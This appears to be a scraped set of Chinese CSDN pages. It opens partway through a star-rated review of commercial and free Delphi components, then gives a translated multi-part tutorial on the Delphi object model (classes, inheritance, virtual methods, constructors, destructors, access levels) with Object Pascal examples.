著名的Delphi控件厂商“梦之队”Dream Company出品的强大的编辑控件。应该说各方面都非常优秀。至少在AWater没有使用mwEdit之前一至认为它是最好的，现在吗，嘿嘿，最好的当然就论不到它了。不过，的确非常强大，可惜这个东东写的太庞杂。所
以吗，Bug也比较多。但还是值得向您推荐的。

2.PlusMemo 5.2 品质：★★★★☆
-----------------------------------------------------
评测：
这个控件可是元老了，功能强大。很有特色。很有自已的风格，也支持数据感应。而且作的也很小巧。非常不错。向您强烈推荐！！

㈣Grid类
--------
1.DevExpress ExpressQuantumGrid 2.1 品质：★★★★★
-----------------------------------------------------
评测：
又是由著名的Delphi控件厂商Developer Express出品的超级Grid控件。主要应用于数据库的操作使用方面。功能强悍，有许多的“独门武功”。呵呵，如果借用围棋的段位来评分的话，这个控件的水平恐怕还在九段之上。堪称超一流。就算是同样的商业控件中，在操作数据库方面，比ExpressQuantumGrid强的恐怕还没生出来。如果再配上同门所出的dxTreeList，dxPrintSystem，可真的是打遍天下无敌手了。而且是百分之一百的纯VCL写成的。是不是COOL呆了，呵呵。向您强烈推荐！！！！！

2.TopGrid 2.01 品质：★★★★★
-----------------------------------------------------
评测：
这个控件虽然在操作数据库功能方面没有像前面的DevExpress ExpressQuantumGrid那样犀利。但它却适应面很广，可以胜任StringGrid，DrawGrid，DBGrid的所有工作，不像ExpressQuantumGrid只适用于数据库操作。而且TopGrid的界面非常的Cool，有点像PowerBuild里的DataWindow的感觉，而且是更加美观。功能十分灵活，可以
非常方便的操作Grid中的每一个Cell，唯一的缺点是编译出来的EXE文件大了点，不过用ASPack压一下就可以两全了，呵呵。向您强烈推荐！！！

3.XLGrid 1.62 品质：★★★★★
-----------------------------------------------------
评测：
用这个控件让我想起了MS的Excel，呵呵。强大，强大，还是强大。可惜不支持数据库操作。在它的主页上有预发布2.0的实现功能计划书，AWater看了后，大流口水，太Cool了，可惜还没发布。不过这个1.62版的，巳经很爽了。向您强烈推荐！！！

㈤DB类
------
实在太多太多了，从高端的ASTA到性能全面的DBISAM，从DAO到Topaz，还有大名鼎鼎的InfoPower,实在是太多了，而且个个都是五星级的。AWater就不写了，反正这方面，是商业控件全面胜出。呵呵。

㈥Report类
----------
1.ReportBuilder 5.0 品质：★★★★★
-----------------------------------------------------
评测：
非常非常强大的报表控件，不要问我它到底强大到如何程度，因为这估计得整整写上五六千字才能向你介绍清楚。如果你正在为手头缺少一个功能强大，适用面广报表控件时，那么就只有它了，这是你最好的选择。可以说，只要你想得到，它基本都作到的。向您强烈推荐！！！

2.HTMLReport 品质：★★★★☆
-----------------------------------------------------
评测：
放上这个东东，可能有凑数之嫌。不能说功能非常非常强大。但你看它的名字，里面有个非常时兴的字眼：HTML。呵呵，对了，它就是作这个用的。如果你有这方面的需要，找它就没错了。总体性能也很不错。当然还没有强大到像上面那个REportBuilder一样恐怖。向您强烈推荐！！

㈦图形类
--------
1.Pegasus公司的系列图形控件 品质：★★★★★
-----------------------------------------------------
评测：
Pegasus 公司出品过许多知名的图形控件，比如像FXTools，ImagN'之类大家都早巳有所耳闻的超级控件。如果你对图形处理方面有较为高的要求，则应该考虑一下Pegasus 公司出品的这些一流的控件。可不是一般的免费控件可以替代的哟。向您强烈推荐！！

㈧综合类
--------
综合类的我就不写测评了，反正无论是恐龙级的LMD，AHM2000，还是RZLIB，或是精致的1stClass。强大的功能和繁多的控件，都不是免费的控件包可以相提并论的，用的时侯，唯一让我担心的，就是我倒底该用哪一个好呢？呵呵，这岂不也是一种烦恼吗:)

比较之下，我想大家心里都有了一个底了吧。在以上免费控件和商业控件的共八个大类的评测下，应该说商业控件占了绝对的优势，只除了一个Editor类，免费控件可以和商业控件一较高下之外，其余的都是有一定的差距。特别是在DB类方面，免费控件一方死的最残，呵呵。不过话说回来，天下到底没有白吃的午餐，好东西总还是要花钱去买的吗。但是，最后我们可以得出这样一个结论，虽然商业控件功能强大，品质优秀。但是，在你没有哪么多的资金去购买，或你对程序的某方面性能要求并不是非常苛刻时，你完全可以考虑使用一些优秀的第三方免费控件，或以之为蓝本在这个基础上进行二次开发，来达到你的设计要求，这也是一个非常不错，而且也很省钱的方案吧:)

从上面的论述中，大家应该可以了解到了一些关于delphi的第三方控件的资料了，不过在这里要提醒大家的是，控件虽好，但也不能滥用。更不能什么都依靠控件，一个好的程序员，不但要会用，更要会自己写。有空多研究一下优秀控件的源码，对水平的提高是大有帮助的，也能更加深入的理解面向对象编程的机制。希望有朝一日，我们中国人也能写出像delphi的优秀程序来，让满世界的老外为我们来开发第三方的控件，呵呵呵.....
最后感谢大家用宝贵的时间阅读这篇文章。(书生)


CSDN_文档中心_Delphi对象模型(Part I)

Delphi对象模型 (PART I)

Delphi对于面向对象编程的支持丰富而且强大。除了传统的类和对象，Delphi还提供了接口，异常处理，多线程编程等特性。这一章节深入讲解了Delphi的对象模型。读者应当对标准的Pascal比较熟悉，并且对有关面向对象编程的基本法则有一定了解。

（本文的英文原文将Delphi与Object Pascal统一表述为Delphi，可能有概念不清之嫌疑。但在大多数情况下，相信读者能够根据上下文来判定文中所述之Delphi的具体含义——译者注。）

Classes and Objects类和对象

可以将类想象为一种特殊的记录。与记录相似的是，一个类描述的是一种特殊的类型，它由任意多个部分组成，每一个部分称为一个字段。与结构不同的是，一个类可以包含函数和过程（称为方法method），以及属性property。一个类可以继承自另一个类，因此，它继承了祖先类中所有的字段，方法，以及属性。

一个对象(Object)是一个类的动态实例。对象总是从堆中动态分配得来，因此一个对象引用(object refrence)更象一个指针（但是不需要pascal的^操作符）。当你将一个对象引用赋值给一个变量时，Delphi只是复制了指针，而不是复制整个对象实例。程序中不再结束使用一个对象时，应当调用Free方法显式地释放该对象。Delphi没有提供自动的垃圾收集机制（后面一章中的提到的接口除外）。

为简短起见，术语“对象引用”简称为“对象”，但是对象更精确的表述应当是一块内存，Delphi在其中存放该对象的所有字段的值。在Delphi中使用一个对象的唯一方法就是使用对象引用。一个对象引用通常以一个变量的形式存在，但是也有函数或者属性返回值的形式。

类同样是一个独立的实体（与Java中的类似，但与C++中的不同）。在Delphi中，类表现为内存中一张只读的表，表中存放着指向该类的虚方法的指针以及其他许多信息。一个类引用(Class reference)就是指向该表的一个指针。类引用最常见的用法是创建一个对象或者用来测试一个对象引用的类型，也可以在其它许多场合使用。比如，传递类引用给某个例程或者从一个函数中返回一个类引用。类引用的类型称为元类(metaclass)。

例2-1显示了几个类的声明。类的声明以关键字Class开头。类的声明中包含字段(field)，方法(method)，属性(property)等部分，以关键字End结尾。每一个方法的声明类似于forword前导声明，你必须在同一单元中实现它（抽象abstract方法除外，有关抽象方法的内容将在后面提到）。

type
  TAccount = class
  private
    fCustomer: string;  // name of customer
    fNumber: Cardinal;  // account number
    fBalance: Currency; // current account balance
  end;
  TSavingsAccount = class(TAccount)
  private
    fInterestRate: Integer; // annual percentage rate, scaled by 1000
  end;
  TCheckingAccount = class(TAccount)
  private
    fReturnChecks: Boolean;
  end;
  TCertificateOfDeposit = class(TSavingsAccount)
  private
    fTerm: Cardinal;  // CD maturation term, in days
  end;

var
  CD1, CD2: TAccount;
begin
  CD1 := TCertificateOfDeposit.Create;
  CD2 := TCertificateOfDeposit.Create;
  ...

图2-1描述了例2-1中的对象和类在内存中的存放结构。变量以及相关对象存放于可读写的内存中。类存放在只读的内存中，与程序码放在一起。

Figure 2.1

Delphi的对象模型与其他几个面向对象语言的类似，比如C++和Java。表2-1显示了Delphi与其他几种流行的编程语言的简要对比。

Table 2-1: Delphi Versus the World
语言特性 | Delphi | Java | C++ | Visual Basic
继承 | ∨ | ∨ | ∨ |
多重继承 |  |  | ∨ |
接口 | ∨ | ∨ | [1] | ∨
单根类 | ∨ | ∨ |  |
元类 | ∨ | ∨ |  |
类（静态）字段 |  | ∨ | ∨ |
虚方法 | ∨ | ∨ | ∨ |
抽象（纯）虚方法 | ∨ | ∨ | ∨ |
类（静态）方法 | ∨ | ∨ | ∨ |
动态方法 | ∨ |  |  |
垃圾回收 | [2] | ∨ |  | [2]
可变类型 | ∨ |  |  | ∨
OLE自动化 | ∨ |  |  | ∨
静态类型校验 | ∨ | ∨ | ∨ |
异常处理 | ∨ | ∨ | ∨ | ∨
函数（过程）重载 | ∨ | ∨ | ∨ |
操作符重载 |  |  | ∨ |
非类函数 | ∨ |  | ∨ | ∨
非对象变量 | ∨ |  | ∨ | ∨
属性 | ∨ |  |  | ∨
RTTI（运行期类型信息） | ∨ | ∨ | [3] |
Generic类型（模板） |  |  | ∨ |
嵌入式线程支持 | ∨ | ∨ |  |
消息传递 | ∨ |  |  |
嵌入式汇编 | ∨ |  | [4] |
单行函数 |  |  | ∨ |

我们将在以下几节中详细讨论这些语言特性。

类(Class)

类的声明描述了该类所包含的字段(Field)，方法(Method)，以及属性(Property)等信息。你可以在单元的interface或者implementation部分声明一个类，但是方法(method)——与函数或过程类似——必须得在implementation部分定义。同时，你必须在该类声明的同一单元内实现该方法。

类可以声明分为一个或多个部分，允许每一部分有不同的访问级别（可以是私有的private，受保护的protected，公开的public，发布的published以及自动的automated等）。有关访问级别的内容将在后面谈及。你甚至可以将各个声明部分任意排列，并且，允许相同的访问级别重复出现。

在声明的每一部分中，你可以定义任意多的字段，跟在方法和属性的声明后面。方法和属性的声明可以混在一起，但是在同一部分中所有字段必须声明在方法之前。与Java和C++不同，Delphi中不能在类声明中嵌套其他任何类型的声明。

类只有单一的基类，类从基类中继承所有字段，属性和方法。假如你不明确指明基类，Delphi自动使用TObject作为基类。类可以实现任意多的接口。因而Delphi的对象模型与Java的极为类似，即一个类可以对一个简单的类进行扩展并且实现多重接口。

提示：
在Delphi中有个约定，类型名称通常以字母T打头，如TObject。不过这只是一个约定而不是语法规则。并且，IDE也通常以一个T开头来命名一个类。

类引用是对一个特定的类的一种引用。类引用并不是一个类对象（在Jave和SmallTalk中如此），但它可以用来创建新的对象，调用类方法，以及测试或试验对象的类型。类引用以指针的方式实现，这个指针指向有关该类信息的一张表，包括类的虚拟方法表(VMT)。（参见第三章“VMT中到底有些什么”相关内容。）

类引用最通常的用法是调用该类的构造器constructor来创建一个对象实例。也可以使用类引用来检测对象的类型（使用Is操作符）。通常情况下，类引用是一个类名，但也可以是一个元类(metaclass)类型的变量，或者函数和属性的返回值。

例2-2：声明一个类以及元类

type
  TComplexClass = class of TComplex; //元类类型
  TComplex = class(TPersistent)
  private
    fReal, fImaginary: Double;
  public
    constructor Create(Re: Double = 0.0); overload;
    constructor Create(Re, Im: Double); overload;
    destructor Destroy; override;
    procedure Assign(Source: TPersistent); override;
    function AsString: string;
  published
    property Real: Double read fReal write fReal;
    property
  end;

PartII

PartIII


CSDN_文档中心_Delphi对象模型(Part II)

Delphi对象模型 (PART II)

Delphi对于面向对象编程的支持丰富而且强大。除了传统的类和对象，Delphi还提供了接口，异常处理，多线程编程等特性。这一章节深入讲解了Delphi的对象模型。读者应当对标准的Pascal比较熟悉，并且对有关面向对象编程的基本法则有一定了解。

（本文的英文原文将Delphi与Object Pascal统一表述为Delphi，可能有概念不清之嫌疑。但在大多数情况下，相信读者能够根据上下文来判定文中所述之Delphi的具体含义——译者注。）

对象(Object)

对象是类的一个动态的实例。这个动态实例包含了该类及其祖先类的所有字段。对象还包含一个隐含的字段用来保存对象所属类的一个类引用。

对象总是从堆中分配到内存，因此对象引用实际上是指向该对象的一个指针。程序设计人员负有在合适的时间创建和释放对象的责任。为了创建一个对象，我们使用类引用并调用构造器方法，如下例所示：

Obj := TSomeClass.Create;

大多数的构造器命名为Create，但这只是一个约定，并不是Delphi所一定要求的。有时你会发现其他名称的构造器，特别是在Delphi还不支持方法的重载之前定义的一些陈旧的类。为了最大限度的与C++Builder保持兼容（因为C++Builder不允许自定义构造器名称），最好仍旧使用Create，重载原先的构造器方法。

要删除程序中不再使用的一个对象，调用Free方法。为了确保即使在有异常触发的情况下，对象也能被正确释放，使用 try-finally 异常处理。如下例所示：

Obj := TSomeOtherClass.Create;
try
  Obj.DoSomethingThatMightRaiseAnException;
  Obj.DoSomethingElse;
finally
  Obj.Free;
end;

释放一个全局的变量时，假如总是在释放对象后即将该变量置为nil，那么便不会留下一个包含无效指针的变量。释放对象之前而将对象置为nil一定得小心谨慎。如果构造器或者构造器中调用的一个方法对该变量有一个引用，那么你最好将该变量置为nil以防可能的隐患。一个简单的方法是调用FreeAndNill过程（在SysUtils中声明）。

GlobalVar := TFruitWigglies.Create;
try
  GlobalVar.EatEmUp;
finally
  FreeAndNil(GlobalVar);
end;

每一个对象都包含它所有字段一个单独的副本。字段不能被多个对象所共享。如果确实需要共享一个字段变量，那么在单元层次上定义这个变量或者使用间接方法：在对象中使用指针或者对象引用来访问公共数据。

继承(Inheritance)

一个类可以继承自另一个类。新派生的类继承了基类中所有的字段，方法以及属性。Delphi只支持单一继承，因此派生类只有一个基类。而基类也可以有自己的基类，如此循环不断，一个类便继承了所有祖先类的字段，属性和方法。类还可以实现任意多的接口。类似于Java,但C++不同的是，所有Delphi的类都继承自同一个根类，那就是TObject。如果不显式的指明基类，Delphi自动将TObject作为该类的基类。

提示：
类最直接的父类称为基类，这在类的声明中可以体现出来。类的祖先类可以是类的基类，也可以是一直到TObject的继承链中的其他祖先类。因而，在例子2-1中，类TCertificateOfDeposit只有一个基类叫TSavingsAccount；而它的祖先类分别是TObject，TAccount以及TSavingsAccount。

TObject类声明了一些方法以及一个特殊的，隐藏的字段专门用来存放对该对象所属类的引用。这个隐藏的字段指向类的虚拟方法表(VMT)。每一个类都有唯一的一个VMT并且所有该类的对象共用这个类的VMT。

可以将一个对象引用赋值给一个相同对象类型的，或者该类的任何一个祖先类的变量。换句话说，对象引用在声明时候的类型不一定要和实际的对象类型相同，反过来赋值——将一个基类的对象引用赋值给派生类的变量——是不允许的，因为对象可能会是不同的类型。

Delphi保留了Pascal的强类型校验特点，因此编译器根据一个对象引用声明时的类型对其进行检查。这样，要求所有的方法必须是类声明的一部分，并且编译器对函数和过程的变量也进行常规检查。编译器并不都将某个方法的调用绑定到特定的实现上。因为假如是一个虚方法，那么只有到运行时间时，才可以根据对象的真正的类型来决定哪个方法被调用。本章“方法”一节中详细说明了这个问题。

使用Is操作符来测试对象所属的真正的类。当此类引用与对象的类相同或者此类引用是该对象类的一个祖先类时，返回True。当对象引用为nil或者不是该类，则返回False。

if Account is TCheckingAccount then ... // tests the class of Account if Account is TObject then ... // True when Account is not nil

可以使用类型转换以获得另一个类型的对象引用。类型转换并不改变对象；它只是给你一个新的对象引用。通常可以使用as操作符进行类型转换。as操作符自动检查对象类型并且当对象的类并不是目标类的子类时将引发一个运行期错误。（SysUtils单元中将该运行期错误映射到EInvalidCast 异常中。）

另一种转换对象引用的方法是使用目标类的名称，类似函数调用。这种转换不会进行类型检查，因此只当你确信安全时才这么做。如例子2-3所示：

例2-3：使用静态的类型转换

var
  Account: TAccount;
  Checking: TCheckingAccount;
begin
  Account  := Checking;                    //允许
  Checking := Account;                     // 编译错误
  Checking := Account as TCheckingAccount; //没问题
  Account as TForm;                        // 触发一个运行期错误
  Checking := TCheckingAccount(Account);   //可用，但不推荐
  if Account is TCheckingAccount then      //更好的
    Checking := TCheckingAccount(Account)
  else
    Checking := nil;

字段(Field)

字段是对象内部的变量。一个类可以声明任意多的字段，并且每一个对象都有自己的一个对自己类以及所有祖先类的所有字段的一个副本。或者说，字段可以称为一个数据成员，一个实例化的变量，或者一个特性。Delphi没有提供类变量，类实例变量，静态数据成员或者等同的东西（即在同一类的所有对象中共享的变量）。但是你可以使用单元层次上的变量来达到类似的效果。

字段可以为任意类型除非是发布的(published)。在发布的声明部分中的字段必须要有运行时间类型信息。详见第三章内容。

在Delphi中，新创建一个对象时，该对象的所有的字段被置空，也就是说，所有指针被初始化为nil,字符串以及动态数组的内容为空，数字值为0，布尔类型的值为False，并且可变类型Variant的值被赋值为Unassigned。

派生的类可以定义与祖先类中同名的字段。派生类的这个字段隐藏了祖先类中相同名称的字段。派生类中的方法引用的是派生类中的该字段，而祖先类的方法引用的是祖先类中的该字段。

方法(Method)

方法是在类中实现的函数或者过程。C++中方法被称为“成员函数”。方法与普通的过程和函数的区别是，在方法中有一个隐含的参数称为Self,用来指向调用该方法的对象本身。这里的Self与C++和Java中的相类似。调用一个方法与调用一个普通的函数或过程类似，但得将方法的名称跟在对象引用之后，如：

Object.Method(Argument);

类方法（Class method）基于类及其祖先类。在类方法中，Self是对类的引用而不是对对象的引用。C++中类方法称为“静态成员函数”。

你可以调用在对象的类中以及祖先类里声明的对象方法。假如祖先类和派生类中定义了相同名称的方法，Delphi将调用最外层派生的那个方法。如例2-4所示：

例2-4：绑定静态方法

type
  TAccount = class
  public
    procedure Withdraw(Amount: Currency);
  end;
  TSavingsAccount = class(TAccount)
  public
    procedure Withdraw(Amount: Currency);
  end;
var
  Savings: TSavingsAccount;
  Account: TAccount;
begin
  ...
  Savings.Withdraw(1000.00);     //调用TSavingsAccount.Withdraw
  Account.Withdraw(1000.00);     //调用TAccount.Withdraw

普通方法被称为静态方法的原因是编译器直接将该调用和方法的实现绑定在一起。换句话说，静态方法是静态绑定的。在C++中称普通方法被称为“普通成员函数”，在Java中称为“最终方法(final method)”。多数Delphi程序员不愿使用静态方法这个术语，而将之简化称为方法或者非虚拟方法。

虚方法是在运行期间而非编译期间被绑定的一类方法。在编译期间，Delphi根据对象引用的类型来决定可以调用的方法。与编译期间直接指定一个特定的方法的实现不同的是，编译器根据对象的实际类型存放一个间接的对方法的引用。运行期间，程序在类的运行期表（特别是VMT）中查找方法，然后调用实际的类型的方法。对象的真正的类必须是在编译期中声明的类，或者它的一个派生的类——这一点不成问题，因为VMT提供了指向正确的方法的指针。

要声明一个虚方法，可以在基类中使用vritual指示符，然后使用override指示符以在派生的类中提供该方法的新的定义。与Java不同的是，Delphi中方法在缺省情况下是静态的，因此你必须使用virtual指示符来声明一个虚方法。与C++不同的是，Delphi中要在派生类中覆盖一个虚方法必须使用override指示符。

例2-5 使用虚方法。

例2-5 绑定虚方法

type
  TAccount = class
  public
    procedure Withdraw(Amount: Currency); virtual;
  end;
  TSavingsAccount = class(TAccount)
  public
    procedure Withdraw(Amount: Currency); override;
  end;
var
  Savings: TSavingsAccount;
  Account: TAccount;
begin
  ...
  Savings.Withdraw(1000.00);     // 调用TSavingsAccount.Withdraw
  Account := Savings;
  Account.Withdraw(1000.00);     // 调用TSavingsAccount.Withdraw

除了vritual指示符，你还可以使用dynamic指示符。两者语义相同的，但实现不同。在VMT中查找一个虚方法很快，因为编译器在VMT中建了索引。而查找一个动态方法慢一些。调用一个动态方法虚要在动态方法表（DMT）中进行线性查找。在祖先类中查找直到遇到TObject或者该方法被找到为止。在某些场合，动态方法占用比虚方法更少的内存。除非要写一个VCL的替代物，否则你应当使用虚方法而不是动态方法。参见第三章以详细了解有关内容。

虚方法和动态方法可以在声明时使用abstract指示符，这样该类就不必给出对该方法的定义，但在派生的类中必须覆盖(override)该方法。C++中抽象方法的术语称为“纯虚方法”。当你调用一个包含有抽象方法的类的构造函数时， Delphi将给出编译警告，提示你可能有个错误。可能你要创建的是覆盖（override）并且实现了该抽象方法的派生类的一个实例。定义了一个或者多个抽象方法的类通常称为抽象类，尽管有些人认定该术语只适用于只定义了抽象方法的那些类。

提示：
当你构建一个自其他抽象类继承而来的抽象类时，你应当使用override和abstract指示符将所有的抽象方法重新声明。Delphi并没有要求这么做，因这只是个惯例。这些声明将清楚地告诉代码维护人员有哪些方法是抽象的。否则，维护人员可能对那些方法需要实现而那些方法需要保持抽象感到疑惑。例如：

type
  TBaseAbstract = class
    procedure Method; virtual; abstract;
  end;
  TDerivedAbstract = class(TBaseAbsract)
    procedure Method; override; abstract;
  end;
  TConcrete = class(TDerivedAbstract)
    procedure Method; override;
  end;

类方法或构造器也可以是虚拟的。在Delphi中，类引用是一个真的实体，你可以将它赋值给一个变量，当作参数传递，或用作引用来调用类方法。如果构造器是虚拟的，则类引用有一个静态的基类类型，但你可以将一个派生类型的类引用赋值给它。Delphi将在该类的VMT中查找虚拟构造器，而后调用派生类的构造器。，

方法（以及其他函数和过程）可以被重载，也就是说，多个例程可以有相同的名字，但是参数定义必须各不相同。声明重载方法使用overload指示符。在派生类中可以重载继承于基类的方法。这种情况下，只有派生的类才需要使用overload指示符。毕竟，基类的作者不可能预见其他的程序员何时需要重载一个继承的方法。如果派生类中没有使用overload指示符，则基类中的相同名称的方法被屏蔽。如例2-6所示。

例子2-6：方法的重载

type
  TAuditKind = (auInternal, auExternal, auIRS, auNasty);
  TAccount = class
  public
    procedure Audit;
  end;
  TCheckingAccount = class(TAccount)
  public
    procedure Audit(Kind: TAuditKind); // Hides TAccount.Audit
  end;
  TSavingsAccount = class(TAccount)
  public
    // Can call TSavingsAccount.Audit and TAccount.Audit
    procedure Audit(Kind: TAuditKind); overload;
  end;
var
  Checking: TCheckingAccount;
  Savings: TSavingsAccount;
begin
  Checking := TCheckingAccount.Create;
  Savings := TSavingsAccount.Create;
  Checking.Audit;             // 错误，因为TAccount.Audit被屏蔽了。
  Savings.Audit;              //正确，因为Audiot被重载了。
  Savings.Audit(auNasty);     //正确
  Checking.Audit(auInternal);//正确

  PartI
  PartIII


CSDN_文档中心_Delphi对象模型(Part III)

Delphi对象模型 (PART III)

Delphi对于面向对象编程的支持丰富而且强大。除了传统的类和对象，Delphi还提供了接口，异常处理，多线程编程等特性。这一章节深入讲解了Delphi的对象模型。读者应当对标准的Pascal比较熟悉，并且对有关面向对象编程的基本法则有一定了解。

（本文的英文原文将Delphi与Object Pascal统一表述为Delphi，可能有概念不清之嫌疑。但在大多数情况下，相信读者能够根据上下文来判定文中所述之Delphi的具体含义——译者注。）

构造器(Constructor)

每一个类都有一个或多个可能是自基类继承而来的构造器。按照惯例，构造器通常命名为Create，但你也可以使用其他名称。有些构造器以Create打头，为了传递更多的信息，被命名为诸如CreateFromFile或者CreateFromStream这样的名字。通常情况下，使用”Create” 这个名字就可以了，因为你可以使用重载来定义多个相同名字的构造器。另一个原因是为了保持与C++Builder的兼容。因为C++不允许构造器使用不同名称，因此你必须使用重载来定义多个构造器。

调用构造器

构造器是对象方法和类方法的混合体。你可以使用一个对象引用或者一个类引用来调用它。Delphi会传递一个附加的隐含的参数来指示它如何被调用。假如使用一个类引用来调用构造器，Delphi会调用类的NewInstance方法以获得该类的一个新的实例。然后，构造器继续处理并且初始化对象。构造器自动引入一个try-except模块，当构造器中触发异常时，Delphi将自动调用析构器。

使用对象引用来调用构造器时，Delphi不会引入try-except块，也不会调用NewInstance方法。相反，它象调用普通方法一样调用构造器。这个特性允许你调用继承的构造器而无需增加额外的内存开销。

提示：
一个常见的错误是尝试使用对象引用来创建一个对象，而不是用一个类引用来创建对象并将它赋值给一个对象引用：

var
  Account: TSavingsAccount;
begin
  Account.Create;                    //错误
  Account := TSavingsAccount.Create; //正确

Delphi的特性之一是你可以控制在何时调用，如何调用，以及是否需要调用一个继承的构造器。这个特性使你可以构建功能强大的类，但在一定程度上也使得错误容易发生。

Delphi总是先构造派生的类，仅当派生类调用了继承的构造器时才去构造基类。在C++中次序相反，从祖先类开始构建，最后才是派生的类。因而，假如有类C继承于B,而B继承于A，那么Delphi先是构建C,然后是B最后是A.C++先构建A,然后B,最后C。

虚方法和构造器

另一个介于C++和Delphi之间的一个很大的不同是，在C++中，构造器总是根据已经被创建的类的虚方法表来运行。而在Delphi中，虚方法代表了所有派生类的内容，即使基类还没有被创建。因此，当你书写一个可能被构造器调用的虚方法时一定要小心。否则，对象可能还没有完全创建时该方法就被调用了。为了预防这种情况，你应当覆盖AfterConstruction方法，在其中填写需要等到对象被完全创建后才能执行的代码。假如要覆盖AfterConstruction,别忘了调用inherited方法。

一个构造器可以调用另一个构造器。Delphi能够区分该调用是否来自于对象引用，因此调用构造器与调用普通方法相同。调用另一个构造器最常见的理由是把初始化代码放在一个单一的构造器中。例2-7显示了声明和调用构造器的几种不同的方法。

例2-7：声明和调用构造器

type
  TCustomer = class ... end;
  TAccount = class
  private
    fBalance: Currency;
    fNumber: Cardinal;
    fCustomer: TCustomer;
  public
    constructor Create(Customer: TCustomer); virtual;
    destructor Destroy; override;
  end;
  TSavingsAccount = class(TAccount)
  private
    fInterestRate: Integer; // Scaled by 1000
  public
    constructor Create(Customer: TCustomer); override; overload;
    constructor Create(Customer: TCustomer; InterestRate: Integer);
        overload;
//注意：TSaveingAccount不需要再定义一个析构器。
//它只是简单的继承了TAccount的构造器

  end;

var
  AccountNumber: Cardinal = 1;

constructor TAccount.Create(Customer: TCustomer);
begin
  inherited Create;             // Call TObject.Create.
  fNumber := AccountNumber;     // Assign a unique account number.
  Inc(AccountNumber);
  fCustomer := Customer;        // Notify customer of new account.
  Customer.AttachAccount(Self);
end;

destructor TAccount.Destroy;
begin

  //如果在设置fCustomer字段之前构造出错，则该字段为nil。
//仅当Customer不为nil才释放account。
  if Customer <> nil then
    Customer.ReleaseAccount(Self);
  //调用TObject.Destroy.
  inherited Destroy;
end;

const
  DefaultInterestRate = 5000;  // 5%, scaled by 1000

constructor TSavingsAccount.Create(Customer: TCustomer);
begin
  //调用同类的另一个构造器
  Create(Customer, DefaultInterestRate);
end;

constructor TSavingsAccount(Customer: TCustomer; InterestRate:Integer);
begin
  //调用TAccount.Create
  inherited Create(Customer);
  fInterestRate := InterestRate;
end;

析构器(Destructor)

析构器和构造器一样也隐藏了一个附加的参数。第一次调用时，该附加参数被置为True。这使得Delphi调用FreeInstance来释放对象。如果该析构器调用了继承的析构器，那么Delphi将这个隐含的参数设置为False以防止继承的析构器再次释放同一个对象。

提示：
一个类通常有一个析构器名为Destroy。Delphi允许声明多个析构器——但这一特性并未带来什么 方便之处。定义多个析构器通常容易使人感到迷惑并且没有什么实际意义。

在Delphi执行析构器中的代码之前，它先调用虚方法BeforeDestruction。你可以覆盖该方法以确保在析构以前有些事务被处理掉。这个特性使你能写出安全的类代码，而不必担心派生类会在何时调用基类的析构器。

提示：
定义一个类时，你可能需要覆盖名为Destroy的析构器方法，但是不要重新定义Free方法。释放一个对象时，你要调用的是Free方法而不是析构器。这一区别非常重要，因为Free首先检查对象引用是否为nil，只有引用非空时才调用Destroy方法。只在某些特定的场合，才需要重新定义Free方法（比如很少用用到的单元VirtIntf中的TInterface类），因为可能调用Free比Destroy更重要。

假如构造器方法和AfterConstruction方法引发了异常， Delphi会自动调用析构器。写一个析构器时，必须意识到正在被撤销的对象有可能没有被完全的创建。Delphi确保所有的字段初始值为空，但假如在构造器中引发了异常，则可能导致某些字段已被初始化而有些未被初始化。如果构造器直接释放对象和指针，那么……其实不必担心这一点，因为Free方法和FreeMem过程都能自动检查指针是否为空。如果构造器调用其他方法，那么也会事先检查指针是否为空。


CSDN_文档中心_Delphi对象模型(Part IV)

Delphi对象模型 (PART IV)

Delphi对于面向对象编程的支持丰富而且强大。除了传统的类和对象，Delphi还提供了接口，异常处理，多线程编程等特性。这一章节深入讲解了Delphi的对象模型。读者应当对标准的Pascal比较熟悉，并且对有关面向对象编程的基本法则有一定了解。

（本文的英文原文将Delphi与Object Pascal统一表述为Delphi，可能有概念不清之嫌疑。但在大多数情况下，相信读者能够根据上下文来判定文中所述之Delphi的具体含义——译者注。）

Object Life Cycle对象的生命周期

对于绝大多数对象，你调用构造器创建它，使用它，然后调用Free将它释放。Delphi替你处理了所有其他细节。或许，有时，你需要了解更多有关Delphi对象模型内部的实现机制。例2-8显示的是用于模拟Delphi创建和释放一个对象的方法。

例 2-8：对象的生命周期

type
  TSomething = class
    procedure DoSomething;
  end;
var
  Ref: TSomething;
begin
  Ref := TSomething.Create;
  Ref.DoSomething;
  Ref.Free;
end;
//在构造器中被隐藏代码类似于这样：
function TSomething.Create(IsClassRef: Boolean): TSomething;
begin
  if IsClassRef then
  try
    //获得新的对象实例
    Self := TSomething.NewInstance;

    //NewInstance初始化对象，功能与InitInstance类似。假如你覆盖了NewInstance,那么，
//不要调用inherited NewInstance,而应当调用InitInstance。
//这个调用正如下面所示，因此你可以知道究竟发生了什么，
//但是请记住通常Delphi实际上并不调用InitInstance。
    InitInstance(Self);

//做构造器真正要做的工作，无需用到类引用。
//注意，Delphi并不真的对构造器进行递归调用。
    Self.Create(False);

    Self.AfterConstruction;
  except
//若有任何异常发生，Delphi自动调用对象的析构器。
    Self.Destroy;
  end
  else
    Self.Create(False);
  Result := Self;
end;

//构造器中被隐藏的代码类似于这样：
procedure TSomething.Destroy(Deallocate: Boolean);
begin
  if Deallocate then
    Self.BeforeDestruction;

  // Delphi并不真的递归调用析构器，但这里是析构器真正发生作用的地方。
  Self.Destroy(False);

  if Deallocate then
  begin
// Delphi并不真的调用CleanupInstance而是调用FreeInstance来做清理的工作。
// 假如覆盖了FreeInstance,不要调用inherited FreeInstance,而应当调用CleanupInstance
// 来清理字串、动态数组以及可变类型字段。
    Self.CleanupInstance;
//调用FreeInstance来释放对象占用的内存。
    Self.FreeInstance;
  end;
end;

Access Levels访问级别

类似于C++和Java，Delphi提供了不同的访问级别控制机制，来决定一个对象是否能其他对象的字段，方法，以及属性等。访问级别分为以下几种：

private 私有的
私有的方法，只能被该类自己的方法以及在同一单元的实现部分中定义的方法、过程和函数访问。Delphi没有C++风格的友类声明也没有Java风格的包级别上的访问控制(package level access)。在Delphi中与之等同的是将包或者友类在同一单元声明，这样该单元中的所有类的私有及受保护部分都可以被访问。

protected 受保护的
受保护的方法，可以被该类以及派生类的任何方法访问。派生的类可以处于不同的单元中。

public 公用的
公开的方法没有访问限制。任何方法，函数，或者过程都可以访问公用声明的部分。除非使用$M+编译指示符，否则缺省的访问级别是公用的。

published发布的
发布的声明与公用的声明基本上相同，唯一的不同是Delphi为发布的声明保存运行时间信息。有些声明不能是发布的；详见第三章内容。如果类或者基类使用$M+指示符，则缺省的访问级别为发布的。

提示：
